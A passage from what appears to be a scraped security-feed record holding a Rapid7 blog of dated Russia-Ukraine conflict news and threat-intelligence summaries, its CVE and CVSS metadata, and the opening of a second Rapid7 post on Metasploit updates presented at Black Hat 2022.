threat intelligence relating to the Russia-Ukraine conflict. We hope this blog will make it easier for you to stay current with these events during an uncertain and quickly changing time.\n\n* * *\n\n## March 16, 2022\n\nUkrainian President Volodymyr Zelenskyy [delivered a virtual speech](<https://www.nbcnews.com/politics/congress/zelenskyy-expected-press-us-military-support-address-congress-rcna20088>) to US lawmakers on Wednesday, asking again specifically for a no-fly zone over Ukraine and for additional support. \n\nThe White House released a new [fact sheet](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/16/fact-sheet-on-u-s-security-assistance-for-ukraine/>) detailing an additional $800 million in security assistance to Ukraine. \n\n**Threat Intelligence Update**\n\n * ******UAC-0056 targets Ukrainian entities******\n\nSentinelOne researchers reported that UAC-0056 targeted Ukrainian entities using a malicious Python-based package, masquerading as a Ukrainian language translation software. Once installed, the fake app deployed various malware, such as Cobalt Strike, GrimPlant, and GraphSteel.\n\n_Source: [Sentinel One](<https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/>)_\n\n * ******A ****h****acker was caught routing calls to Russian troops******\n\nThe Security Service of Ukraine claimed to have arrested a hacker that helped deliver communications from within Russia to the Russian troops operating in the Ukrainian territory. The hacker also sent text messages to\n\nUkrainian security officers and civil servants, exhorting them to surrender.\n\n_Source: [The Verge](<https://www.theverge.com/2022/3/15/22979381/phone-relay-capture-russia-military-unencrypted-communications-ukraine>)_\n\n## March 15, 2022\n\nThe Ukrainian Ministry of Defense [leaked documents](<https://www.scmagazine.com/analysis/breach/in-a-first-ukraine-leaks-russian-intellectual-property-as-act-of-war>) of a Russian nuclear power plant. This may be the first-ever instance of a hack-and-leak operation to weaponize the disclosure of intellectual property to harm a nation.\n\nResearchers at INFOdocket, a subsidiary of [Library Journal](<https://en.wikipedia.org/wiki/Library_Journal>), have [created](<https://www.infodocket.com/2022/03/10/briefings-reports-and-updates-about-the-conflict-in-ukraine-from-the-congressional-research-service-european-parliament-research-service-and-uk-house-of-commons-library/>) a compendium of briefings, reports, and updates about the conflict in Ukraine from three research organizations: Congressional Research Service (CRS), European Parliament Research Service (EPRS), and the UK House of Commons Library. The resource will be updated as each of the three organizations releases relevant new content.\n\nThe Wall Street Journal [is reporting](<https://www.wsj.com/articles/russian-prosecutors-warn-western-companies-of-arrests-asset-seizures-11647206193>) that Russian prosecutors have issued warnings to Western companies in Russia, threatening to arrest corporate leaders there who criticize the government or to seize assets of companies that withdraw from the country. \n\nRussia may [default on $117 million (USD) in interest payments](<https://qz.com/2142075/sanctions-are-likely-to-force-russia-to-default-on-foreign-debt/>) on dollar-denominated bonds due to Western sanctions, the first foreign debt default by Russia since 1918.\n\nReuters is [reporting](<https://www.usnews.com/news/world/articles/2022-03-14/russian-delegation-suspends-participation-in-council-of-europe-body-ria>) that Russia's delegation to the Parliamentary Assembly of the Council of Europe (PACE) is suspending its participation and will not take part in meetings. \n\nCNN [reports](<https://www.cnn.com/europe/live-news/ukraine-russia-putin-news-03-15-22/h_3f0d63658ac5c2875ed265df00ba8b40>) that Russia has imposed sanctions against US President Joe Biden, his son, Secretary of State Antony Blinken, other US officials, and \u201cindividuals associated with them,\u201d the Russian Foreign Ministry said in a statement on Tuesday.\n\n**Threat Intelligence Update**\n\n * ******Russian ****s****tate-****s****ponsored ****c****yber ****a****ctors ****a****ccess ****n****etwork ****m****isconfigured with ****d****efault MFA ****p****rotocols******\n\nCISA and the Federal Bureau of Investigation (FBI) have released a joint Cybersecurity Advisory that details how Russian state-sponsored cyber actors accessed a network with misconfigured default multifactor authentication (MFA) protocols. The actors then exploited a critical Windows Print Spooler vulnerability, [\u201cPrintNightmare\u201d (CVE-2021-34527)](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>), to run arbitrary code with system privileges.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured>)_\n\n * ******Fake antivirus updates used to deploy Cobalt Strike in Ukraine******\n\nUkraine's Computer Emergency Response Team is warning that threat actors are distributing fake Windows antivirus updates that install Cobalt Strike and other malware. The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download \"critical security updates,\" which come in the form of a 60 MB file named \"BitdefenderWindowsUpdatePackage.exe.\"\n\n_Source: [BleepingComputer/CERT-UA](<https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/amp/>)_\n\n * ******A ****n****ovel ****w****iper ****t****argets Ukrainian ****e****ntities******\n\nCybersecurity researchers observed the new CaddyWiper malware targeting Ukrainian organizations. Once deployed, CaddyWiper destroys and overwrites the data from any drives that are attached to the compromised system. Despite being released in close proximity to other wiping malware targeting Ukraine, such as HermeticWiper and IsaacWiper, CaddyWiper does not share any significant code similarities with them and appears to be created separately.\n\n_Source:[ Bleeping Computer](<https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/amp/>)_\n\n * ******German Federal Office for Information Security ****a****gency ****i****ssues an ****a****lert for Russian ****a****ntivirus ****s****oftware Kaspersky******\n\nThe German Federal Office for Information Security agency (BSI) issued an alert urging its citizens to replace Kaspersky antivirus software with another defense solution, due to alleged ties to the Kremlin. The agency suggested Kaspersky could be used as a tool in the cyber conflict between Russia and Ukraine.\n\n_Source:[ BSI](<https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2022/220315_Kaspersky-Warnung.html>)_\n\n## March 14, 2022\n\nThe EU-based NEXTA media group has [reported](<https://twitter.com/nexta_tv/status/1503393046351781892?s=20&t=1tA7lZrLVe-cZpHb9wy2LA>) that Russia is starting to block VPN services.\n\nBermuda\u2019s aviation regulator [said](<https://financialpost.com/pmn/business-pmn/bermuda-revokes-licenses-for-russian-operated-planes-over-safety-concerns>) it is suspending certification of all Russian-operated airplanes registered in the British overseas territory due to international sanctions over the war in Ukraine, in a move expected to affect more than 700 planes.\n\nThe Washington Post [reported](<https://www.washingtonpost.com/world/2022/03/12/russia-putin-google-apple-navalny/>) that Federal Security Service (FSB), Russian Federalnaya Sluzhba Bezopasnosti, agents approached Google and Apple executives with requests to remove apps created by activist groups.\n\nAmnesty International [said](<https://www.amnesty.org/en/latest/news/2022/03/russia-authorities-block-amnesty-internationals-russian-language-website/>) Russian authorities have blocked their Russian-language website. \n\n**Threat Intelligence Update**\n\n * ******Anonymous claims to hack Rosneft, German subsidiary of Russian energy******\n\nAnonymous claimed to hack the German branch of the Russian energy giant Rosneft, allegedly stealing 20 TB of data. The company systems were significantly affected by the attack, although there currently seems to be no effect on the company's energy supply.\n\n_Source:[ Security Affairs](<https://securityaffairs.co/wordpress/129052/hacktivism/anonymous-hacked-german-subsidiary-rosneft.html>)_\n\n * ******Russia blocks access to Instagram nationwide******\n\nRussia's Internet moderator Roskomnadzor decided to block Instagram access in the country, following Meta's decision to allow \"calls for violence against Russian citizens.\" The federal agency gave Instagram users 48 hours to prepare and finally completed the act on March 13. The blocking of Instagram follows the former ban of Facebook and Twitter in Russia last week.\n\n_Source:[ Cyber News](<https://cybernews.com/cyber-war/instagram-is-no-longer-accessible-in-russia/?utm_source=youtube&utm_medium=cn&utm_campaign=news_CNN_047_instagram_blocked_in_russia&utm_term=2v1_yubOBMc&utm_content=direct_article>)_\n\n## March 11, 2022\n\nPresident Biden, along with the European Union and the Group of Seven Countries, [moved](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/11/fact-sheet-united-states-european-union-and-g7-to-announce-further-economic-costs-on-russia/>) to revoke \u201cmost favored nation\u201d trade status for Russia, deny borrowing privileges at multilateral financial institutions, apply sanctions to additional Russian elites, ban export of luxury goods to Russia, and ban US import of goods from several signature sectors of Russia\u2019s economy.\n\n**Threat Intelligence Update**\n\n * **Amid difficulties with renewing certificates, Russia has created its own trusted TLS certificate authority**\n\nSigning authorities based in countries that have imposed sanctions on Russia can no longer accept payments for their services, leaving many sites with no practical means to renew expiring certificates. As a result, the Russian Ministry of Digital Development announced the availability of domestic certificates, replacing expired or revoked foreign certificates.\n\n_Source: [Bleeping Computer](<https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/>)_\n\n * ******Triolan, ****a**** major Ukrainian internet service provider****,**** was hacked \u2014 twice******\n\nTriolan, a Ukraine-based ISP with more than half a million subscribers, was reportedly hacked initially on February 24th, with a second attack hitting on March 9th. The company reported that the threat actors managed to hack into key components of the network, some of which couldn\u2019t be recovered.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/10/cyberattack-on-major-ukraine-internet-provider-causes-major-outages/?sh=768d17596573>)_\n\n## March 10, 2022\n\nBy [order of President Putin](<https://twitter.com/KevinRothrock/status/1501935395092631556?s=20&t=TvFRrQvNfQ6OL3qvFJePQg>), Russia\u2019s Economic Development Ministry has drafted a bill that would effectively nationalize assets and businesses \"abandoned\" in Russia by foreign corporations. Management of these seized assets will be entrusted to the VEB.RF state development corporation and to Russia\u2019s Deposit Insurance Agency.\n\nRussia has [effectively legalized patent theft](<http://publication.pravo.gov.ru/Document/View/0001202203070005?index=0&rangeSize=1>) from anyone affiliated with countries \u201cunfriendly\u201d to it, declaring that unauthorized use will not be compensated. The Russian news agency Tass has [further reporting](<https://tass.ru/ekonomika/13982403>) on this, as does the [Washington Post](<https://www.washingtonpost.com/business/2022/03/09/russia-allows-patent-theft/>).\n\nGoldman Sachs Group Inc [announced it was closing its operations in Russia](<https://www.reuters.com/business/finance/goldman-sachs-exit-russia-bloomberg-news-2022-03-10/>), becoming the first major Wall Street bank to exit the country following Moscow's invasion of Ukraine.\n\nUK Foreign Secretary Liz Truss [announced](<https://www.gov.uk/government/news/abramovich-and-deripaska-among-seven-oligarchs-targeted-in-estimated-15bn-sanction-hit>) a full asset freeze and travel ban on seven of Russia\u2019s wealthiest and most influential oligarchs, whose business empires, wealth, and connections are closely associated with the Kremlin.\n\nUS Vice President Kamala Harris [announced](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/10/vice-president-kamala-harris-announces-additional-u-s-funding-to-respond-to-humanitarian-needs-in-ukraine-and-eastern-europe/>) nearly $53 million in new humanitarian assistance from the United States government, through the US Agency for International Development (USAID), to support innocent civilians affected by Russia\u2019s invasion of Ukraine.\n\nThe International Atomic Energy Agency (IAEA) [provided an update](<https://www.iaea.org/newscenter/pressreleases/update-17-iaea-director-general-statement-on-situation-in-ukraine>) on the situation at the Chernobyl Nuclear Power Plant. The IAEA Director General said that the Agency is aware of reports that power has now been restored to the site and is looking for confirmation. At the same time, Ukraine informed them that today it had lost all communications with the facility. The IAEA has assured the international community that there has been \u201cno impact on essential safety systems.\u201d\n\n**Threat Intelligence Update**\n\n * **New malware variant targeting Russia named RURansom**\n\nRURansom is a malware variant that was recently discovered and appears to be targeting Russia. While it was initially suspected of being a ransomware, further analysis suggests it is actually a wiper. So far, no active non-Russian targets have been identified, likely due to the malware targeting specific entities.\n\n_Source: [TrendMicro](<https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html>)_\n\n_Available in Threat Library as: RURansom_\n\n * ******Kaspersky source code leak seems to be just a collection of publicly available HTML files******\n\nThe hacking group NB65 claimed on social networks to have leaked source code from the Russian antivirus firm Kaspersky. However, it appears that the leaked files are nothing more than a long list of HTML files and other related, publicly available web resources.\n\n_Source: [Cybernews](<https://cybernews.com/cyber-war/long-awaited-kaspersky-leak-doesnt-seem-to-be-a-leak-at-all/>)_\n\n * ******Anonymous claims to hack Roskomnadzor, a Russian federal agency******\n\nHacktivist group Anonymous claims to have breached Roskomnadzor, a Russian federal agency responsible for monitoring, controlling, and censoring Russian mass media, leaking over 360,000 (817.5 GB) files. Based on the report, the leak contains relatively recent censored documents, dated as late as March 5, and demonstrates Russia\u2019s attempts to censor media related to the conflict in Ukraine.\n\n_Source: @AnonOpsSE via [Twitter](<https://twitter.com/AnonOpsSE/status/1501944150794506256>) _\n\n## March 9, 2022\n\n**Public policy:** Citing concerns over rising cybersecurity risks related to the Russia-Ukraine conflict, the US is poised to enact new cyber incident reporting requirements. The_ _[Cyber Incident Reporting for Critical Infrastructure Act of 2022](<https://www.congress.gov/bill/117th-congress/senate-bill/3600/text?q=%7B%22search%22%3A%5B%22s+3600%22%2C%22s%22%2C%223600%22%5D%7D&r=3&s=2>):\n\n * Will require critical-infrastructure owners and operators to report cybersecurity incidents to CISA within 72 hours of determining the incident is significant enough that reporting is required;\n * Will require critical infrastructure owners and operators to report ransomware payments to CISA within 24 hours; and\n * Is intended to give federal agencies more insight into attack trends and potentially provide early warnings of major vulnerabilities or attacks in progress before they spread.\n\nThe Bank of Russia [established](<https://www.cbr.ru/eng/press/event/?id=12744>) temporary procedures for foreign cash transactions, suspending sales of foreign currencies until September 9, 2022. Foreign currency accounts are limited to withdrawals up to $10,000 USD.\n\nThe Financial Crimes Enforcement Network (FinCEN) is [alerting all financial institutions](<https://www.fincen.gov/index.php/news/news-releases/fincen-advises-increased-vigilance-potential-russian-sanctions-evasion-attempts>) to be vigilant against efforts to evade the expansive sanctions and other US-imposed restrictions implemented in connection with the Russian Federation\u2019s further invasion of Ukraine.\n\nThe Pentagon [dismissed](<https://www.cnn.com/2022/03/08/politics/poland-jets-ukraine-russia/index.html>) Poland\u2019s offer to transfer MIG-29 fighter jets to the United States for delivery to Ukraine, stating they did not believe the proposal was \u201ctenable.\u201d\n\n**Threat Intelligence Update**\n\n * ******Multiple hacking groups target Ukrainians and other European ****a****llies via ****p****hishing ****a****ttacks******\n\nSeveral threat actors, including Fancy Bear, Ghostwriter, and Mustang Panda, have launched a large phishing campaign against Ukraine, Poland, and other European entities amid Russia's invasion of Ukraine. \n\n_Source: [The Hacker News](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>)_\n\n_Available in Threat Library as: APT28 (Fancy Bear), Ghostwriter, Mustang Panda_\n\n * ******The Conti Ransomware group resumes activity following leaks******\n\nThe Conti Ransomware group appears to have made a comeback following the [leak of its internal chats last week](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>). On March 9, Rapid7 Threat Intelligence observed renewed activity on Conti\u2019s onion site, and CISA released new IOCs related to the group on their Conti alert page.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>)_\n\n_Available in Threat Library as: Conti_\n\n * ******The Belarusian group UNC1151 targets Ukrainian organizations using MicroBackdoor malware******\n\nThe Ukrainian government has reported on a continuous cyberattack on state organizations of Ukraine using malicious software Formbook.\n\n_Source: [Ukrainian CERT](<https://cert.gov.ua/article/37626>)_\n\n_Available in Threat Library as: UNC1151_\n\n## March 8, 2022\n\nThe US [announced](<https://www.whitehouse.gov/briefing-room/presidential-actions/2022/03/08/executive-order-on-use-of-project-labor-agreements-for-federal-construction-projects-2/>) a ban on imports of Russian oil, gas, and other energy products. New US investments in the Russian energy sector are also restricted. The UK [announced](<https://www.gov.uk/government/news/uk-to-phase-out-russian-oil-imports>) it would phase out Russian oil over 2022. \n\nThe International Atomic Energy Agency [published a statement](<https://www.iaea.org/newscenter/pressreleases/update-15-iaea-director-general-statement-on-situation-in-ukraine>) noting that remote data transmission from monitoring systems at Ukraine\u2019s mothballed Chernobyl nuclear power plant has been lost. No network data has been observed by internet monitoring companies since March 5, 2022.\n\nChris Chivvis, a senior fellow and director of the American Statecraft Program at the Carnegie Endowment for International Peace, has provided [an assessment](<https://carnegieendowment.org/2022/03/03/how-does-this-end-pub-86570>) of two likely trajectories in the Russia-Ukraine conflict. \n\nTwitter [announced](<https://twitter.com/AlecMuffett/status/1501282223009542151?s=20&t=tO-TNZw5ct6tZUcwyvMl4A>) they have made their social network available on the Tor Project onion service, which will enable greater privacy, integrity, trust, and availability to global users.\n\nThe Minister of Foreign Affairs of the Republic of Poland [announced](<https://www.gov.pl/web/diplomacy/statement-of-the-minister-of-foreign-affairs-of-the-republic-of-poland-in-connection-with-the-statement-by-the-us-secretary-of-state-on-providing-airplanes-to-ukraine>) they are ready to deploy \u2014 immediately and free of charge \u2014 all their MIG-29 jets to the Ramstein Air Force base and place them at the disposal of the US government.\n\nLumen [announced](<https://news.lumen.com/RussiaUkraine>) they are immediately ceasing their limited operations in Russia and will no longer provide services to local Lumen enterprise customers.\n\nMcDonald\u2019s [announced](<https://www.cnbc.com/2022/03/08/mcdonalds-will-temporarily-close-850-restaurants-in-russia-nearly-2-weeks-after-putin-invaded-ukraine.html>) they have temporarily closed 850 restaurants in Russia in response to Russia\u2019s attack on Ukraine.\n\nStarbucks [has announced](<https://www.cnbc.com/2022/03/08/starbucks-suspends-all-business-in-russia-as-putins-forces-attack-ukraine.html>) they will be suspending all business in Russia in response to Russia\u2019s attack on Ukraine.\n\n**Threat Intelligence Update**\n\n * ******52 US organizations were impacted by RagnarLocker ransomware****,**** including critical infrastructures******\n\nThe FBI reported that as of January 2021, 52 US-based organizations, some related to critical infrastructure, were affected by RagnarLocker ransomware. The industries affected include manufacturing, energy, financial services, government, and information technology. The malware code excludes execution on post-Soviet Union countries, including Russia, based on a geolocation indicator embedded in its code.\n\n_Source: [FBI FLASH](<https://www.ic3.gov/Media/News/2022/220307.pdf>) _\n\n_Available in Threat Library as: Ragnar Locker_\n\n * ******US energy companies were attacked prior to the Russian invasion to Ukraine******\n\nDuring a two-week blitz in mid-February, hackers received access to dozens of computers belonging to multiple US-based energy companies, including [Chevron Corp.](<https://www.bloomberg.com/quote/CVX:US>), [Cheniere Energy Inc.](<https://www.bloomberg.com/quote/LNG:US>), and [Kinder Morgan Inc](<https://www.bloomberg.com/quote/KMI:US>). The companies were attacked in parallel to the Russian invasion of Ukraine.\n\n_Source: [Bloomberg](<https://www.bloomberg.com/news/articles/2022-03-07/hackers-targeted-u-s-lng-producers-in-run-up-to-war-in-ukraine>)_\n\n * **European officials were hacked by Chinese threat actors amid the conflict in Ukraine**\n\nAccording to Google and Proofpoint, a cyberattack was launched by the Chinese hacking group Mustang Panda and its affiliated group RedDelta, which usually targets Southeast Asian countries. The groups managed to gain access to an unidentified European NATO-member email account and spread malware to other diplomatic offices.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/08/chinese-hackers-ramp-up-europe-attacks-in-time-with-russia-ukraine-war/?sh=6077d22f5ee1>)_\n\n_Available in Threat Library as: Mustang Panda_ \n\n\n * ******#OpAmerica: DEVLIX_EU, a pro-Russian hacktivist group, and its affiliates claim to have gained access to terabytes of US sensitive data ******\n\nThe group claims they have obtained access to 92TB of data related to the US Army. According to the group, they also hacked into four of the biggest \u201chosts\u201d in the US and 49 TB of data. As of now, there is no real evidence for the attack provided by the group.\n\n_Source: @Ex_anon_W_hater via [Twitter](<https://twitter.com/Ex_anon_W_hater/status/1500858398664888325>)_\n\n## March 7, 2022\n\nNetflix, KPMG, PwC, and EY have [cut ties with local units in Russia,](<https://www.reuters.com/business/netflix-kpmg-pwc-amex-sever-ties-with-russia-2022-03-06/>) and Danone suspended investments in Russia.\n\nThe Russian government has [published a list of foreign states](<https://www.jpost.com/international/article-700559>) that have committed \u201cunfriendly actions\u201d against \u201cRussia, Russian companies, and citizens.\u201d Countries listed include Australia, Albania, Andorra, the United Kingdom, the member states of the European Union, Iceland, Canada, Liechtenstein, Micronesia, Monaco, New Zealand, Norway, Republic of Korea, San Marino, North Macedonia, Singapore, USA, Taiwan, Ukraine, Montenegro, Switzerland, and Japan.\n\nThe Russian government\u2019s Ministry of Digital [issued orders](<https://www.kommersant.ru/doc/5249500>) for all government websites to use only domestic hosting providers and DNS. They further instructed agencies to discontinue using non-Russian third-party tooling, such as Google Analytics.\n\nTikTok is [suspending content from Russia](<https://www.buzzfeednews.com/article/krystieyandoli/tiktok-russia-suspending-media>) in response to the country cracking down on reporting about the invasion of Ukraine.\n\n**Threat Intelligence Update**\n\n * **Anonymous-affiliated threat actor claims to have hacked and shut down water infrastructure in Russia**\n\nThe AnonGhost group claims to have hacked and shut down two Russian SCADA water supply systems impacting the Russian cities: Volkhov, Boksitogorsk, Luga, Slantsevsky, Tikhvinsky, and Vyborg.\n\n_Source: @darkowlcyber via [Twitter](<https://twitter.com/darkowlcyber/status/1500552186735910915?s=20&t=zXmKgw6Om_VQMHa6XmN6RQ>)_\n\n_Available in Threat Library as: AnonGhost (for Threat Command customers who want to learn more)_ \n\n\n * **Anonymous claims to hack Russian TV services to broadcast footage of the war with Ukraine**\n\nRussian live TV channels Russia 24, Channel One, and Moscow 24, as well as Wink and Ivi, Netflix like services, have been hacked to broadcast footage of the war with Ukraine according to Anonymous.\n\n_Source: @YourAnonNews via [Twitter](<https://twitter.com/YourAnonNews/status/1500613013510008836?s=20&t=qgOO0Uu5T2UrkqdbjEJeAg>)_\n\n## March 4, 2022\n\nThe NATO Cooperative Cyber Defence Center of Excellence (CCDCOE) announced that [Ukraine will join the group](<https://news.yahoo.com/ukraine-join-nato-cyber-defence-171835083.html>) as a \u201ccontributing participant,\u201d indicating that \u201cUkraine could bring valuable first-hand knowledge of several adversaries within the cyber domain to be used for research, exercises, and training.\u201d\n\nUkraine\u2019s deputy chief of their information protection service [noted in a Friday briefing](<https://www.bloomberg.com/news/articles/2022-03-04/ukraine-s-hacker-army-said-to-be-helped-by-400-000-supporters>) that over 400,000 individuals have volunteered to help a crowdsourced Ukrainian government effort to disrupt Russian government and military targets.\n\n**Threat Intelligence Update**\n\n * ******Russia blocked access to social media platforms and Western news sites******\n\nRussia has prevented its residents access to information channels, including Facebook, Twitter, Western news sites such as the BBC, and app stores. With that, the BBC is now providing access to its website via the Dark Web and has reinstated their BBC shortwave broadcast service.\n\n_Source: [Reuters](<https://www.reuters.com/business/russias-offer-foreign-firms-stay-leave-or-hand-over-keys-2022-03-04/>)_\n\n * **Anonymous-affiliated threat actor hacked and leaked data from the Russian Federal State Budgetary Institution of Science**\n\nThe Russian Federal Guard Service of the Russian Federation was hacked by Anonymous. The hacker published leaked names, usernames, emails, and hashed passwords of people from the institution.\n\n_Source: @PucksReturn via [Twitter](<https://twitter.com/PucksReturn/status/1499757796526542855?s=20&t=LQqanSu2v7L5ONAkpZT1PA>)_\n\n * **Anonymous takes down multiple Russian government websites**\n\nAnonymous claims responsibility for the takedown of a large number of Russian Government websites including one of the main government websites, gov.ru. Most of the websites are still down as of Friday afternoon, March 4.\n\n_Source: @Anonynewsitaly via [Twitter](<https://twitter.com/Anonynewsitaly/status/1499488100405362694?s=20&t=92-u27VSsZLoTAz1KtuOKA>)_\n\n## March 3, 2022\n\n**Additional sanctions:** The US Treasury Dept. [announced another round of sanctions](<https://home.treasury.gov/news/press-releases/jy0628>) on Russian elites, as well as many organizations it characterized as outlets of disinformation and propaganda.\n\n**Public policy:** The Russia-Ukraine conflict is adding momentum to cybersecurity regulatory actions. Most recently, that includes\n\n * **[Incident reporting law](<https://www.hsgac.senate.gov/media/majority-media/senate-passes-peters-and-portman-landmark-legislative-package-to-strengthen-public-and-private-sector-cybersecurity->): **Citing the need to defend against potential retaliatory attacks from Russia, the US Senate passed a bill to require critical infrastructure owners and operators to report significant cybersecurity incidents to CISA, as well as ransomware payments. The US House is now considering fast-tracking this bill, which means it may become law quite soon.\n * **[FCC inquiry on BGP security](<https://www.fcc.gov/document/fcc-launches-inquiry-internet-routing-vulnerabilities>): **\u201c[E]specially in light of Russia\u2019s escalating actions inside of Ukraine,\u201d FCC seeks comment on vulnerabilities threatening the Border Gateway Protocol (BGP) that is central to the Internet\u2019s global routing system.\n\n**CISA threat advisory:** CISA [recently reiterated](<https://twitter.com/CISAJen/status/1499117064006639617?s=20&t=9UfrQnQTUg43QsbKoQOhJA>) that it has no specific, credible threat against the U.S. at this time. It continues to point to its [Shields Up](<https://www.cisa.gov/shields-up>) advisory for resources and updates related to the Russia-Ukraine conflict.\n\n**Threat Intelligence Update**\n\n * ******An Anonymous-affiliated hacking group claims to have hacked a branch Russian Military and Rosatom, the Russian State Atomic Energy Corporation****.**\n\nThe hacktivist group Anonymous and its affiliate have hacked and leaked access to the phone directory of the military prosecutor's office of the southern military district of Russia, as well as documents from the Rosatom State Atomic Energy Corporation.\n\n_Available in Threat Library as: OpRussia 2022 (for Threat Command customers who want to learn more)_\n\n * ******A threat actor supporting Russia claims to have hacked and leaked sensitive information related to the Ukrainian military****.**\n\nThe threat actor \u201cLenovo\u201d claims to have hacked a branch of the Ukrainian military and leaked confidential information related to its soldiers. The information was published on an underground Russian hacking forum.\n\n_Source: XSS forum (discovered by our threat hunters on the dark web)_ \n\n\n * ******An Anonymous hacktivist associated group took down the popular Russian news website lenta.ru******\n\nAs part of the OpRussia cyber-attack campaign, an Anonymous hacktivist group known as \u201cEl_patron_real\u201d took down one of the most popular Russian news websites, **lenta.ru**. As of Thursday afternoon, March 3, the website is still down.\n\n_Available in Threat Library as: El_patron_real (for Threat Command customers who want to learn more)_\n\n_**Additional reading:**_\n\n * [_Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>)\n * [_Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)\n * [_Staying Secure in a Global Cyber Conflict_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)\n * [_Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-04T14:30:00", "type": "rapid7blog", "title": "Russia-Ukraine Cybersecurity Updates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-04T14:30:00", "id": "RAPID7BLOG:57AB78EC625B6F8060F1E6BD668BDD0C", "href": "https://blog.rapid7.com/2022/03/04/russia-ukraine-cybersecurity-updates/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-30T18:02:41", "description": "\n\n[Open-source security](<https://www.rapid7.com/open-source/>) has been a hot topic in recent years, and it's proven to be something of a double-edged sword. On the one hand, there's an understanding of the potential that open-source tools hold for democratizing security, making industry best practices accessible to more organizations and helping keep everyone's data better protected from attackers. On the other hand, open-source codebases have been the subject of some of the most serious and high-impact vulnerabilities we've seen over the past 12 months, namely [Log4Shell](<https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/>) and [Spring4Shell](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>).\n\nWhile the feeling around open-source understandably wavers between excitement and trepidation, one thing is for sure: Open-source frameworks are here to stay, and it's up to us to ensure they deliver on their potential and at the same time remain secure.\n\nThe future of open-source was a common theme at [Black Hat 2022](<https://www.rapid7.com/info/events-2022/post-blackhat-2022/>), and two members of the Rapid7 research team \u2014 Lead Security Research Spencer McIntyre and Principal Security Researcher Curt Barnard \u2014 shined a light on the work they've been doing to improve and innovate with open-source tools. Here's a look at their presentations from Black Hat, and how their efforts are helping push open-source security forward.\n\n## A more powerful Metasploit\n\nSpencer, whose work focuses primarily on Rapid7's widely used attacker emulation and penetration testing tool [Metasploit](<https://www.rapid7.com/products/metasploit/>), shared the latest and greatest improvements he and the broader team have made to the open-source framework in the past year. The upgrades they've made reflect a reality that security pros across the globe are feeling everyday: The perimeter is disappearing.\n\nIn a threat environment shaped by [ransomware](<https://www.rapid7.com/blog/post/2022/06/16/new-report-shows-what-data-is-most-at-risk-to-and-prized-by-ransomware-attackers/>), [supply chain attacks](<https://www.rapid7.com/blog/post/2022/04/26/how-to-strategically-scale-vendor-management-and-supply-chain-security/>), and widespread vulnerabilities like Log4Shell, bad actors are increasingly stringing together complex attack workflows leveraging multiple vulnerabilities. These techniques allow adversaries to go from outside to within an organization's network more quickly and easily than ever before.\n\nThe updates Spencer and team have made to Metasploit are intended to help security teams keep up with this shift, with more modern, streamlined workflows for testing the most common attack vectors. These recent improvements to Metasploit include:\n\n****Credential capturing:**** Credential capture is a key component of the attacker emulation toolkit, but previously, the process for this in Metasploit involved spinning up 13 different modules and managing and specifying configurations for each. Now, Metasploit offers a credential capture plugin that lets you configure all options from a single start/stop command, eliminating redundant work.\n\n****User interface (UI) optimization: ****URLs are commonly used to identify endpoints \u2014 particularly web applications \u2014 during attacker emulation. Until now, Metasploit required users to manually specify quite a few components when using 